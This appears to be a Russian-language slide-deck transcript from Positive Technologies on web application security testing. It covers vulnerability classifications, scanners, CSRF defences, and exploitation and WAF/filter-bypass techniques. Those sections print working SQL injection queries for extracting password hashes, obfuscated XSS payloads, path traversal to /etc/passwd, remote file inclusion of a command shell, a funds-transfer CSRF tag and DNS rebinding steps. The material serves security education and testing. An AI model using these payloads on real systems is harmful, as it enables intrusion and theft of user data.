Анализ защищенности web-приложений, выявление...
DESCRIPTION
Уязвимости и атаки на Web-приложения, общепринятые классификации уязвимостей. Ошибки, допускаемые разработчиками при создании клиентской и серверной частей Web-приложения, их возможные последствия и методы выявления и устранения. Примеры из практики. Обзор специализированных средств защиты Web-приложений: Web Application Firewall (WAF). Стоит ли полагаться на WAF? Методология выявления уязвимостей в Web-приложениях, в частности, с использованием различных средств автоматического анализа.TRANSCRIPT
Анализ защищенности web-приложений, выявление уязвимостей в реальных
условиях
Дмитрий Евтеев, Александр Анисимов
Positive Technologies
О чем пойдет речь
Введение в тему безопасности web-приложений
Методология выявления уязвимостей в web-приложениях
Классические техники эксплуатации уязвимостей
Современные техники эксплуатации уязвимостей
Эксплуатация уязвимостей в контексте обхода программных фильтров безопасности
Эксплуатация уязвимостей в контексте обхода Web Application Firewall (WAF)
Резюме
Опасный мир web-приложений
По данным компании Positive Technologies за 2008 год
• 83% сайтов содержат критические уязвимости
• 78% сайтов содержат уязвимости средней степени риска
• вероятность автоматизированного заражения страниц уязвимого web-приложения вредоносным кодом составляет приблизительно 15-20%
http://ptsecurity.ru/analytics.asp
Данные основываются на проведении 16121 автоматических сканирований, детальном анализе 59 web-приложений, в том числе с проведением анализа исходного кода более 10-ти из них.
Опасный мир web-приложений: статистика за 2008 г.
Классификация уязвимостей в web-приложениях
Web Application Security Consortium WASC-TCv2
http://projects.webappsec.org/Threat-Classification-Workinghttp://www.webappsec.org/projects/threat/
Опасный мир web-приложений: статистика за 2008 г.
Классификация уязвимостей в web-приложениях
OWASP Top 10• A1 - Cross Site Scripting (XSS)
• A2 - Injection Flaws (eq SQL Injection)
• A3 - Malicious File Execution (eq RFI)
• A4 - Insecure Direct Object Reference (eq Insufficient Authorization)
• A5 - Cross Site Request Forgery (CSRF)
• A6 - Information Leakage and Improper Error Handling (eq Information Leakage)
• A7 - Broken Authentication and Session Management (eq Credential/Session Prediction, Brute Force)
• A8 - Insecure Cryptographic Storage
• A9 - Insecure Communications (eq Insufficient Transport Layer Protection)
• A10 - Failure to Restrict URL Access (eq Insufficient Process Validation)
http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
Классификация уязвимостей в web-приложениях
CWE/SANS Top 25• Не безопасное взаимодействие между компонентами
CWE-20: Improper Input Validation CWE-116: Improper Encoding or Escaping of Output CWE-89: Failure to Preserve SQL Query Structure ('SQL Injection') CWE-79: Failure to Preserve Web Page Structure ('Cross-site Scripting') CWE-78: Improper Sanitization of Special Elements used in an OS Command ('OS Command Injection') CWE-319: Cleartext Transmission of Sensitive Information CWE-352: Cross-Site Request Forgery (CSRF) CWE-362: Race Condition CWE-209: Error Message Information Leak
• Риски при управлении ресурсами CWE-119: Failure to Constrain Operations within the Bounds of a Memory Buffer CWE-642: External Control of Critical State Data CWE-73: External Control of File Name or Path CWE-426: Untrusted Search Path CWE-94: Failure to Control Generation of Code ('Code Injection') CWE-494: Download of Code Without Integrity Check CWE-404: Improper Resource Shutdown or Release CWE-665: Improper Initialization CWE-682: Incorrect Calculation
• Прочие угрозы CWE-285: Improper Access Control (Authorization) CWE-327: Use of a Broken or Risky Cryptographic Algorithm CWE-259: Hard-Coded Password CWE-732: Incorrect Permission Assignment for Critical Resource CWE-330: Use of Insufficiently Random Values CWE-250: Execution with Unnecessary Privileges CWE-602: Client-Side Enforcement of Server-Side Security
http://cwe.mitre.org/top25/
Подходы по снижению угроз
Директивный подход (Directive)
• Software Development Life Cycle (SDLC), «бумажная безопасность», выстраивание высокоуровневых процессов
Детективный подход (Detective)
• Тестирование функций (black/white-box), фаззинг (fuzzing), статический/динамический/ручной анализ исходного кода
Профилактический подход (Preventive)
• Intrusion Detection/Prevention Systems (IDS/IPS), Web Application Firewall (WAF)
Корректирующий подход (Corrective)
• Ведение журналов событий, обработка инцидентов
Подход к восстановлению (Recovery)
• Резервное копирование, стратегия обеспечения непрерывности бизнес-процессов (BS25999)
Часть 1: Выявление уязвимостей
Методология выявления уязвимостей в web-приложениях
Способы обнаружения уязвимостей в web-приложениях
Тестирование функций
• Метод «черного ящика» (black-box)
• Метод «серого ящика» (gray-box)
• Метод «белого ящика» (white-box)
Фаззинг (fuzzing)
Анализ исходного кода
• Статический анализ
• Динамический анализ
• Ручной анализ
Бинарный анализ приложения (binary analysis)
Пример тестирования функций методом «черного ящика»
Сканирование с использованием MaxPatrol
http://www.ptsecurity.ru/maxpatrol.asp
Пример тестирования функций методом «черного ящика»
Возможности метода «черного ящика» на примере MaxPatrol (1)
Пример тестирования функций методом «черного ящика»
Возможности метода «черного ящика» на примере MaxPatrol (2)
Пример тестирования функций методом «серого ящика»
Acunetix Web Vulnerability Scanner, технология «AcuSensor»
http://www.acunetix.com/websitesecurity/rightwvs.htm
Пример работы фаззера (fuzzing)
Фаззинг сайта, «защищенного» mod_rewrite
Тимур Юнусов, Positive Technologies Research Team (статья в ближайшее время будет опубликована на портале www.securitylab.ru)
Анализ исходного кода web-приложения
Статический анализ
• Минусы
Ошибки первого рода (false negative — «ненайденные уязвимости») при использовании статического анализа возникают в силу следующих причин:
• при программировании web-приложения используется сложный синтаксис;
• проверки переменных происходят с использованием собственных функций приложения;
• отсутствуют соответствующие сигнатуры.
В силу фундаментальных ограничений сигнатурного поиска возникает множество ошибок второго рода (false positive — «ложные сообщения об уязвимостях»).
• Плюсы
Простота в реализации.
Наиболее известные разработчики коммерческих продуктов
Armorize Technologies, Fortify, Ounce Labs
Анализ исходного кода web-приложения
Динамический анализ
• Минусы
Присущи те же недостатки, что и сканерам безопасности. Например, невозможно выявить уязвимости «Небезопасное восстановление паролей», «Отсутствие тайм-аута сессии», «Логические атаки» и пр.
Сложность в реализации.
• Плюсы
Наиболее качественная оценка исходного кода.
Наиболее известные разработчики коммерческих продуктов
Coverity, Valgrind, Fortify PTA
Часть 2: Эксплуатация уязвимостей (basic)
Классические техники эксплуатации уязвимостей
Уязвимости web-приложений
Статистика уязвимостей web-приложений Positive Technologies за 2008 год (Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp
Уязвимости web-приложений
Статистика уязвимостей web-приложений Positive Technologies за 2008 год (Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp
SQL Injection – Базовые знания
"Внедрение операторов SQL" Способ нападения на базу данных в обход межсетевой защиты. В этом
методе параметры, передаваемые базе данных через web- приложения, изменяются таким образом, чтобы изменить выполняемый SQL-запрос. Например, добавляя различные символы к параметру, можно выполнить дополнительный запрос совместно с превоначальным.
Выделяют два вида SQL Injection
• SQL Injection в строковом параметре
Примеры:
SELECT * from table where name = "$_GET['name']"
SELECT id, acl from table where user_agent = '$_SERVER["HTTP_USER_AGENT"]'
• SQL Injection в цифровом параметре
Примеры:
SELECT login, name from table where id = $_COOKIE["id"]
SELECT id, news from table where news = 123 limit $_POST["limit"]
SQL Injection – Базовые знания
Эксплуатацию SQL Injection разделяют в зависимости от типа используемой СУБД и условий внедрения
• Уязвимый запрос может обрабатывать Insert, Update, Delete, etc.
• Инъекция может быть в любом участке SQL-запроса
• Blind SQL Injection (слепое внедрение операторов SQL)
• Особенности языка SQL, используемого в разных СУБД
Уязвимость SQL-инъекция – это не только уязвимость, характерная для web-приложений!
Уязвимость типа «Внедрение операторов SQL»
web-сервер СУБДhttp://web/?id=6329&print=Y
….SELECT * from news where id = 6329….
Уязвимость типа «Внедрение операторов SQL»
web-сервер СУБДhttp://web/?id=6329&print=Y
….SELECT * from news where id = 6329….
Уязвимость типа «Внедрение операторов SQL»
web-сервер СУБДhttp://web/?id=6329&print=Y
….SELECT * from news where id = 6329….
Уязвимость типа «Внедрение операторов SQL»
web-сервер СУБДhttp://web/?id=6329+union+select+id,pwd,0+from...
….SELECT * from news where id = 6329 union select id,pwd,0 from…….
Уязвимость типа «Внедрение операторов SQL»
web-сервер СУБДhttp://web/?id=6329+union+select+id,pwd,0+from...
….SELECT * from news where id = 6329 union select id,pwd,0 from…….
Уязвимость типа «Внедрение операторов SQL»
web-сервер СУБДhttp://web/?id=6329+union+select+id,pwd,0+from...
….SELECT * from news where id = 6329 union select id,pwd,0 from…….
SQL Injection – Базовые знания
Анатомия SQL-инъекций
SQL-инъекция может эксплуатироваться как в момент проведения атаки, так и по прошествии некоторого времени
SQL Injection – Классическая эксплуатация (MySQL)
Возможный метод обнаружения уязвимости
/?id=1+ORDER+BY+100
• SQL-запрос примет вид
SELECT id, name from table where id =1 ORDER BY 100
• В результате может быть получено следующее сообщение об ошибке
ERROR 1054 (42S22): Unknown column '100' in 'order clause'
Получение имен таблиц/колонок (information_schema/перебор) и последующее получение данных из найденных таблиц
/?id=1+union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns
• SQL-запрос примет вид
SELECT id, name from table where id =1 union select 0,concat_ws(0x3a,table_name,column_name) from information_schema.columns
• В результате может быть получена требуемая информация в формате
| 0 | table1:column1 || 0 | table1:column2 |
SQL Injection – Различия СУБД
Особенности эксплуатации для разных СУБДПример (MySQL): SELECT * from table where id = 1 union select 1,2,3Пример (PostgreSQL): SELECT * from table where id = 1; select 1,2,3Пример (Oracle): SELECT * from table where id = 1 union select null,null,null from sys.dual
MySQL MSSQL MS Access Oracle DB2 PostgreSQL
Объединение строкconcat(,)
concat_ws(delim,)' '+' ' " "&" " ' '||' '
'' concat ''" "+" "
' '||' '' '||' '
Комментарии -- и /**/ и # -- и /* Нет -- и /* -- -- и /*
Объединение запросов union union и ; union union union union и ;
Подзапросы v.4.1 >= Да Нет Да Да Да
Хранимые процедуры Нет Да Нет Да Нет Да
Наличие information_schema или его аналога
v.5.0 >= Да Да Да Да Да
Уязвимости web-приложений
Статистика уязвимостей web-приложений Positive Technologies за 2008 год (Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp
Cross-Site Scripting – Базовые знания
"Межсайтовое выполнение сценариев“ Межсайтовое выполнение сценариев (Cross site scripting или XSS) – это
возможность вставки HTML-кода в уязвимую страницу. Инъекция кода осуществляется через все доступные способы ввода информации. Успешное завершение атаки может привести к использованию значений различных переменных, доступных в контексте сайта, записи информации, перехвату пользовательских сессий и т.д.
Условно Cross-Site Scripting (XSS) делят на:• Сохраненный вариант (persistent/stored)• Отраженный вариант (non-persistent/reflected)
Cross-Site Scripting – это уязвимость на стороне клиента (client side)
• Microsoft Internet Explorer 8 XSS filter• Mozilla NoScript Firefox extension
Уязвимость типа «Межсайтовое выполнение сценариев»
web-серверhttp://web/?search=secureweb
…print "<b>secureweb</b>";…
Уязвимость типа «Межсайтовое выполнение сценариев»
web-серверhttp://web/?search=secureweb
…print "<b>secureweb</b>";…
Уязвимость типа «Межсайтовое выполнение сценариев»
web-сервер
1. fuzzing, поиск уязвимости
Уязвимость типа «Межсайтовое выполнение сценариев»
web-сервер
1. fuzzing, поиск уязвимости
2. Передача «заряженной» ссылки:http://web/?search=secureweb"><script>...</script>
3. Переход по ссылке
Уязвимость типа «Межсайтовое выполнение сценариев»
web-сервер
1. fuzzing, поиск уязвимости
2. Передача «заряженной» ссылки:http://web/?search=secureweb"><script>...</script>
3. Переход по ссылке
4. Выполнение исполняемогокода в браузере пользователя
Уязвимость типа «Межсайтовое выполнение сценариев»
web-сервер
1. fuzzing, поиск уязвимости
2. Передача «заряженной» ссылки:http://web/?search=secureweb"><script>...</script>
3. Переход по ссылке
4. Выполнение исполняемогокода в браузере пользователя
5. Например, передача web-сессии (cookies)
6. Работа с web-приложением от имени атакованного пользователя
Cross-Site Scripting – Классическая эксплуатация
Возможный метод обнаружения уязвимости
/?id="><script>alert(1)</script>
• HTML-код возвращаемой страницы примет вид
…<font size=""><script>alert(1)</script>"…
• В результате браузер выполнит код java-script
Пример практического использования: "><script src=http://host/script.js></script>
Дополнительные материалы:• ha.ckers XSS Cheat Sheet: http://ha.ckers.org/xss.html• WASC Script Mapping: http://projects.webappsec.org/Script-Mapping
Cross-Site Scripting – Различия браузеров
http://projects.webappsec.org/Script-Mapping
Уязвимости web-приложений
Статистика уязвимостей web-приложений Positive Technologies за 2008 год (Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp
Статистика используемых паролей в России
Более 40% паролей можно взломать из-за простоты
Статистика по паролям низкой стойкости у администраторов:
Данные основываются на анализе более 185 тысяч паролей пользователей (http://www.ptsecurity.ru/download/PT-Metrics-Passwords-2009.pdf).
Уязвимость типа «Подбор»
web-серверhttp://web/secure/
Уязвимость типа «Подбор»
web-серверhttp://web/secure/
Уязвимости web-приложений
Статистика уязвимостей web-приложений Positive Technologies за 2008 год (Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp
Path Traversal, L/RFI– Базовые знания
Пример уязвимости Path Traversal• Логика программы:fopen($_GET['file'],"r"); index.php?file=myfile.txt• Пример эксплуатации:index.php?file=/../../../../../etc/passwd
Опасность уязвимости Local File IncludingФункции include() и require() интерпретируют текст как часть
программного кода!• Логика программы:include($_GET['file'].".inc"); index.php?file=myfile• Пример эксплуатации:index.php?file=img/command_shell.jpg%00
Рождение Remote File Including• Если allow_url_fopen & allow_url_include в состоянии enable, то:index.php?file=http://hacker.host/command_shell
Уязвимость типа «Обратный путь в директориях»
web-серверhttp://web/?file=positive.jpg
….$handle = fopen("positive.jpg","r"); $contents = fread($handle, filesize("positive.jpg")); ….
Уязвимость типа «Обратный путь в директориях»
web-серверhttp://web/?file=../../../../../../etc/passwd
….$handle = fopen("../../../../../../etc/passwd","r"); $contents = fread($handle, filesize("../../../../../../etc/passwd")); ….
Уязвимости web-приложений
Уязвимость типа "Подделка HTTP-запросов" (Cross-Site Request Forgery, CSRF, XSRF)
• Почти не входит в статистику уязвимостей Positive Technologies и WASC по автоматизированным сканированиям (сложности при автоматизированном обнаружении)
• В основном, ошибка в том или ином виде встречается во всех анализированных web-приложениях
• Степень опасности уязвимости CSRF на прямую зависит от функций и задач, решаемых приложением
Cross-Site Request Forgery – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к web-приложению
Уязвимость известна и используется с 1988 г., но только сейчас стало заметно движение в сторону ее повсеместного устранения (крупные Интернет-проекты, приложения eCommerce и др.)
Зачастую применяется связка XSS + CSRF
Уязвимость типа «Подделка HTTP-запросов»
Интернет-форум
1. Публикация сообщения:<img src=http://ibanking/action?account=12345&amount=500&for=54321>
Интернет-банк(ibanking)
Уязвимость типа «Подделка HTTP-запросов»
Интернет-форум
1. Публикация сообщения:<img src=http://ibanking/action?account=12345&amount=500&for=54321>
Интернет-банк(ibanking)
2. Пользователь посещает форум
Уязвимость типа «Подделка HTTP-запросов»
Интернет-форум
1. Публикация сообщения:<img src=http://ibanking/action?account=12345&amount=500&for=54321>
Интернет-банк(ibanking)
2. Пользователь посещает форум
3. Браузер загружает картинку по адресу:http://ibanking/action?...
Уязвимость типа «Подделка HTTP-запросов»
Интернет-форум
1. Публикация сообщения:<img src=http://ibanking/action?account=12345&amount=500&for=54321>
Интернет-банк(ibanking)
2. Пользователь посещает форум
3. Браузер загружает картинку по адресу:http://ibanking/action?...
4. Если сессия пользователя существует, то…
Часть 3: Эксплуатация уязвимостей (advanced)
Современные техники эксплуатации уязвимостей
Уязвимость типа «Подделка HTTP-запросов»
Распространенные способы защиты от CSRF-атак:
• Использование CAPTHA
• Использование дополнительной аутентификации
Парольная аутентификация;
Одноразовый токен.
• Уникальный токен самого HTTP-запроса
Токен HTTP-запроса генерируется на стороне сервера;
Токен HTTP-запроса генерируется на стороне сервера и формируется на стороне клиента (javascript);
Токен HTTP-запроса генерируется на стороне сервера и меняется каждые N секунд. Клиент узнает о новом токене, используя технологию AJAX.
• Использование механизмов подписи транзакций
• Защита на основе проверки HTTP Referer
Защита от уязвимости типа «Подделка HTTP-запросов»
Пример реализации защиты от CSRF на основе OWASP CSRFGuard
http://www.owasp.org/index.php/Category:OWASP_CSRFGuard_Project
Защита от уязвимости типа «Подделка HTTP-запросов»
Пример реализации защиты от CSRF на основе JSCK (java-script)
http://www.thespanner.co.uk/2007/10/22/jsck-demo-update/
Защита от уязвимости типа «Подделка HTTP-запросов»
OWASP .Net_CSRF_Guard, OWASP PHP CSRF Guard и др. – решения по защите от CSRF на уровне интеграции с приложением
mod_security в качестве проверки HTTP Referrer. Пример:
SecFilterSelective HTTP_REFERER "!(^$|^http:/www\.example\.com/)" chainSecFilterSelective REQUEST_URI "!^(/|/index\.html|/welcome\.html|)$" \"redirect:http://www.example.com/welcome.html"
Инструменты для обнаружения уязвимости CSRF:
• OWASP CSRFTester
• Grendel-Scan
• W3af
• и др.
Уязвимость типа «Динамическая подделка HTTP-запросов»
Современный CSRF – Dynamic Cross-Site Request Forgery
BlackHat USA09 Nathan Hamiel, Shawn Moyer http://www.blackhat.com/presentations/bh-usa-09/HAMIEL/BHUSA09-Hamiel-DynamicCSRF-PAPER.pdf
Как это работает?
• На основе «полезной информации» браузера пользователя можно провести Dynamic CSRF
• Фиксация сессии (Session Fixation)
• Использование вектора атаки типа "brute force" (используется атака "CSS History Hack")
Уязвимость типа «Динамическая подделка HTTP-запросов»
1. Отправка ссылки пользователю:http://bonus/bonus.htm
Интернет-банк(ibanking)
Узел, управляемый атакующим (bonus)
Уязвимость типа «Динамическая подделка HTTP-запросов»
1. Отправка ссылки пользователю:http://bonus/bonus.htm
Интернет-банк(ibanking)
Узел, управляемый атакующим (bonus)
2. Пользователь авторизуется в Интернет-банке(используется защита от CSRF на основе токена)
Уязвимость типа «Динамическая подделка HTTP-запросов»
1. Отправка ссылки пользователю:http://bonus/bonus.htm
Интернет-банк(ibanking)
Узел, управляемый атакующим (bonus)
2. Пользователь авторизуется в Интернет-банке(используется защита от CSRF на основе токена)
3. Переходит по ссылкеhttp://bonus/bonus.htm
Уязвимость типа «Динамическая подделка HTTP-запросов»
1. Отправка ссылки пользователю:http://bonus/bonus.htm
Интернет-банк(ibanking)
Узел, управляемый атакующим (bonus)
2. Пользователь авторизуется в Интернет-банке(используется защита от CSRF на основе токена)
3. Переходит по ссылкеhttp://bonus/bonus.htm
4. На основе полученного Referer подгружается картинка:http://ibanking/action?account=12345&amount=500&for=54321&token=765234
5. Атака завершена
Уязвимость типа «Динамическая подделка HTTP-запросов»
Использование CSS History Hack (Jeremiah Grossman) для проведения Dynamic Cross-Site Request Forgery
BlackHat USA09 Nathan Hamiel, Shawn Moyer http://www.blackhat.com/presentations/bh-usa-09/HAMIEL/BHUSA09-Hamiel-DynamicCSRF-PAPER.pdf; http://securethoughts.com/2009/07/hacking-csrf-tokens-using-css-history-hack/
Как это работает?
Вариант защиты:
http://www.safehistory.com/
CSRF & XSS
Почему CSRF & XSS ?
Облегчает проведение Dynamic Cross-Site Request Forgery
Зачастую используется для сканирования портов внутренней сети
• Снятие отпечатков используемых сервисов (fingerprinting)
• Определение полномочий (CSS History Hack)
Пример реализации: Yokoso (http://yokoso.inguardians.com/)
CSRF & XSS
Самая простая реализация порт-сканера на java-script
http://www.gnucitizen.org/static/blog/2006/08/jsportscanner.js
Атака «Anti DNS Pinning»
Атака "Anti DNS Pinning" (DNS rebinding)
Обход ограничений Same origin policy
Позволяет злоумышленнику манипулировать соответствием между IP-адресом и DNS-именем узла (FQDN) с целью запуска активного содержимого в контексте безопасности уязвимого сайта. Используя эту технику, злоумышленник может использовать браузер жертвы для получения доступа к защищенным сайтам (например, находящимся за межсетевыми экранами или требующим аутентификации). В отличии от атаки типа «Подделка межсайтового запроса» (Cross-Site Request Forgery, CSRF), атака Anti DNS Pinning направлена на получение данных (нарушение конфиденциальности), а не на выполнение каких-либо действий с приложением (нарушение целостности). Но совместно с CSRF атака Anti DNS Pinning может использоваться для полнофункционального доступа к web-приложению через браузер пользователя.
BlackHat USA07 David Byrne, https://www.blackhat.com/presentations/bh-usa-07/Byrne/Presentation/bh-usa-07-byrne.pdf; http://ha.ckers.org/blog/20060908/dns-pinning-just-got-worse/; http://christ1an.blogspot.com/2007/07/dns-pinning-explained.html
Уязвимость типа «Anti DNS Pinning»
Контролируемый web-серверwww.hack.example (1.1.1.1)
MS Project Server192.168.0.1
Прочие
1. Пользователь обращается к внешнему web-серверу
Контролируемый DNS-серверhack.example
Контролируемый web-серверany.name
Cisco SDM192.168.0.2
Уязвимость типа «Anti DNS Pinning»
MS Project Server192.168.0.1
Прочие
2. Полученный сценарий java-script, например,через 2 секунды делает повторное обращение
Контролируемый DNS-серверhack.example
Контролируемый web-серверany.name
3. Атакующий блокирует доступ к web-серверу
Cisco SDM192.168.0.2
Контролируемый web-серверwww.hack.example (1.1.1.1)
Уязвимость типа «Anti DNS Pinning»
MS Project Server192.168.0.1
Прочие
4. Происходит повторное разрешениеимени www.hack.example
Контролируемый DNS-серверhack.example
Контролируемый web-серверany.name
5. www.hack.example IN A 192.168.0.1
Cisco SDM192.168.0.2
Контролируемый web-серверwww.hack.example (1.1.1.1)
Уязвимость типа «Anti DNS Pinning»
MS Project Server192.168.0.1
Прочие
6. Браузер посылает запрос на 192.168.0.1:GET / HTTP/1.1Host: www.hack.example…
Контролируемый DNS-серверhack.example
Контролируемый web-серверany.name
5. www.hack.example IN A 192.168.0.1
Cisco SDM192.168.0.2
Контролируемый web-серверwww.hack.example (1.1.1.1)
Уязвимость типа «Anti DNS Pinning»
Cisco SDM192.168.0.2
MS Project Server192.168.0.1
Прочие
Контролируемый DNS-серверhack.example
Контролируемый web-серверany.name
7. Образуется полноценный каналдля работы с внутренним ресурсом
Контролируемый web-серверwww.hack.example (1.1.1.1)
Часть 4: Эксплуатация уязвимостей (filters bypass)
Эксплуатация уязвимостей в контексте обхода программных фильтров безопасности
Фильтры поступающих данных. Какие они бывают
Прозрачные для web-приложения
• magic_quotes_gpc, display_errors, etc
• mod_rewrite, ISAPI-фильтры, etc
Встроенные функции языка разработки
• УниверсальныеПример: addslashes(), addcslashes(), htmlspecialchars(), etc
• Предназначенные для определенной средыПример: mysql_real_escape_string(), pg_escape_string(), dbx_escape_string(), etc
Разрабатываемые самим программистом
• Приведение типов
• Использование регулярных выражений
Методы обхода фильтров безопасности (1) – SQL Injection
Использовать кодирование передаваемых в приложение данных
• Строка «qwerty» может быть представлена неограниченным количеством вариаций
Hex-кодирование: 0x717765727479
ASCII-представление: char(113),char(119),char(101),char(114), char(116),char(121)
Использование шифрования с разным ключом: ╧i╘═╗Г▐╗щ~)°°Р=
• Пример:
hex(AES_ENCRYPT('qwerty',1)) – это B969A9A01DA8E78FA8DD7E299C9CF23D
aes_decrypt(concat(0xB9,0x69,0xA9,0xA0,0x1D,0xA8,0xE7,0x8F,0xA8,0xDD,0x7E,0x29,0x9C,0x9C,0xF2,0x3D),1) – это qwerty
Методы обхода фильтров безопасности (2) – SQL Injection
Использовать представления, отсутствующие в фильтре
• Синонимы функций CHARACTER_LENGTH() -> CHAR_LENGTH()
LOWER() -> LCASE()
OCTET_LENGTH() -> LENGTH()
LOCATE() -> POSITION()
REGEXP() -> RLIKE()
UPPER() -> UCASE()
и т.д.
• Обфускация запроса и данных
Примеры обфускации строки «qwerty»:
reverse(concat(if(1,char(121),2),0x74,right(left(0x567210,2),1),lower(mid('TEST',2,1)),replace(0x7074,'pt','w'),char(instr(123321,33)+110)))
concat(unhex(left(crc32(31337),3)-400),unhex(ceil(atan(1)*100-2)),unhex(round(log(2)*100)-4),char(114),char(right(cot(31337),2)+54),char(pow(11,2)))
Методы обхода фильтров безопасности – SQL Injection
Пример по обходу сигнатур (обфускация запроса)
• Следующий запрос попадает в сигнатуру приложения
/?id=1+union+(select+1,2+from+test.users)
• Но иногда используемые сигнатуры можно обойти
/?id=1+union+(select+'xz'from+xxx)
/?id=(1)unIon(selEct(1),mid(hash,1,32)from(test.users))
/?id=1+union+(sELect'1',concat(login,hash)from+test.users)
/?id=(1)union(((((((select(1),hex(hash)from(test.users))))))))
/?id=(1);exec('sel'+'ect'(1))
/?id=(1)or(0x50=0x50)
…
Методы обхода фильтров безопасности (3) – SQL Injection
Использовать null-byte для обхода бинарно-зависимых функций
Пример: if(ereg ("^(.){1,3}$", $_GET['param'])) { … }
/?param=123
ereg ("^(.){1,3}$", "123") – true
/?param=1234
ereg ("^(.){1,3}$", "1234") – false
/?param=1+union+select+1
ereg ("^(.){1,3}$", "1 union select 1") – false
/?param=123%00
ereg ("^(.){1,3}$", "123\0") - true
/?param=1/*%00*/union+select+1
ereg ("^(.){1,3}$", "1/*\0*/union select 1") - true
Методы обхода фильтров безопасности (4) – SQL Injection
Обход функции addslashes()
Это возможно, если существует уязвимость, позволяющая установить кодировку SJIS, BIG5 или GBK
Как это работает?
addslashes("'") т.е. 0x27 вернет "\'" т.е. 0x5c27
• Пример для кодировки GBK:
• 0xbf27 – некорректный символ
• 0xbf5c – корректный самостоятельный символ
• после обработки функцией addslashes() 0xbf27 превращается в 0xbf5c27 т.е. 0xbf5c и одинарную кавычку 0x27
Raz0r, http://raz0r.name/vulnerabilities/sql-inekcii-svyazannye-s-multibajtovymi-kodirovkami-i-addslashes/
Методы обхода фильтров безопасности (5) – SQL Injection
Пример распространенной уязвимости в функциях фильтров безопасности
• Следующий запрос не позволяет провести атаку
/?id=1+union+select+1,2,3/*
• Если в фильтре есть соответствующая уязвимость, то такой запрос успешно отработает
/?id=1+un/**/ion+sel/**/ect+1,2,3--
• SQL-запрос примет вид
SELECT * from table where id =1 union select 1,2,3--
Вместо конструкции /**/ может использоваться любые наборы символов, вырезаемые фильтром (eq #####, %00, etc)
Данный пример работает в случае «излишней очистки» поступающих данных (замена regexp-выражения на пустую строку)
Практика обхода фильтров на примере KIS 2009
Kaspersky Internet Security 2009
Ругается на: /?id=1 union select password from users
Но пропускает:
/?id=1 union select passwd from users
/?id=1 union select pass from users
/?id=1 union select login from users--
и т.п.
И пропускает: /?id=1+and+(select+(@v:=password)+from+users+limit+0,1)+union+select+@v--
Методы обхода фильтров безопасности – XSS
Пример эксплуатации XSS совместно с обходом встроенного фильтра от XSS-атак в Microsoft IE 8
<style>@\69\6d\70\6f\72\74 'http://ha.ckers.org/xss.css';</style>
D0znp, http://onsec.ru/vuln?id=4
Еще пример с BlackHat USA09:
<script>
($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)
</script>
BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf; D0znp, http://oxod.ru/2009/08/26/обход-xss-фильтров-по-средствам-особенос/; http://sla.ckers.org/forum/read.php?2,31708
Методы обхода фильтров безопасности - Path Traversal
Пример уязвимости path traversal
• Логика программы:<? include("./files/".$_GET['file']) ; ?>• Эксплуатация уязвимости:/?id=/union%20select/../../../../../../../etc/passwd
Запрос принимает вид:<? include("./files//uni X on%20sel X ect/../../../../../../../etc/passwd") ; ?>
Данный пример работает в случае «очистки» поступающих данных и немедленного прерывания процесса дальнейшего прохождения по сигнатурам
Часть 5: Эксплуатация уязвимостей (WAF bypass)
Эксплуатация уязвимостей в контексте обхода Web Application Firewall (WAF)
Что такое WAF
http://server/?id=6329&print=Y
Нас атакуют!
Ахтунг!!!
WAF Webserverhttp://server/?id=5351
http://server/?id=8234
http://server/?id=“><script>...
http://server/?id=1+union+select...
http://server/?id=/../../../etc/passwd
Нормализация данныхDecode HTML entities (e.g. c, ", ª)Escaped characters (e.g. \t, \001, \xAA, \uAABB)Null byte string termination...
Поиск сигнатуры /(sel)(ect.+fr)(om)/is/(uni)(on.+sel)(ect)/is...
Какие они бывают
По режиму работы:
• Мост/Маршрутизатор
• Обратный прокси-сервер
• Встроенный
По модели защиты:
• Основанный на сигнатуре (Signature-based)
• Основанный на правилах (Rule-based)
По реакции на «плохой» запрос:
• Очистка «опасных» данных
• Блокировка запроса
• Блокировка источника атаки
Методы обхода WAF
Фундаментальные ограничения технологии
• Неспособность полностью защитить web-приложение от всех возможных уязвимостей
Общие проблемы
• При использовании универсальных фильтров WAF приходиться балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика
• Обработка возвращаемого трафика клиенту
Уязвимости реализации
• Технологии нормализации
• Использование новых техник эксплуатации уязвимостей в Web (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена null-byte, etc.)
Небезопасное восстановление паролей (Weak Password Recovery Validation)
Методы обхода WAF – Фундаментальные ограничения
IMPACT: An attacker could exploit this vulnerability to compromise the admin account of any wordpress/wordpress-mu <= 2.8.3http://seclists.org/fulldisclosure/2009/Aug/0113.html
Практика обхода WAF: SQL Injection - нормализация
Пример уязвимости в функции нормализации запроса
• Следующий запрос не позволяет провести атаку
/?id=1+union+select+1,2,3/*
• Если в WAF есть соответствующая уязвимость, то такой запрос успешно отработает
/?id=1/*union*/union/*select*/select+1,2,3/*
• После обработки WAF запрос примет следующий вид
index.php?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*
Данный пример работает в случае «очистки» опасного трафика, а не при блокировке всего запроса или источника атаки
Практика обхода WAF: SQL Injection – HPP (пример 1)
Использование HTTP Parameter Pollution (HPP)
• Следующий запрос не позволяет провести атаку
/?id=1;select+1,2,3+from+users+where+id=1--
• Такой запрос успешно отработает при использовании HPP
/?id=1;select+1&id=2,3+from+users+where+id=1--
Успешное проведение атаки HPP по обходу WAF ограничено используемой средой атакуемого приложения
OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
Практика обхода WAF: SQL Injection – HPP
Как это работает?
Пример в среде IIS/ASP
GET /index.asp?id=param1&id=param2&id=param3 HTTP/1.1Host: localhost…
После обработки такого HTTP-запроса web-приложение в качестве значения GET[id] получит следующие данные:
Request.QueryString("id") = "param1,param2,param3"
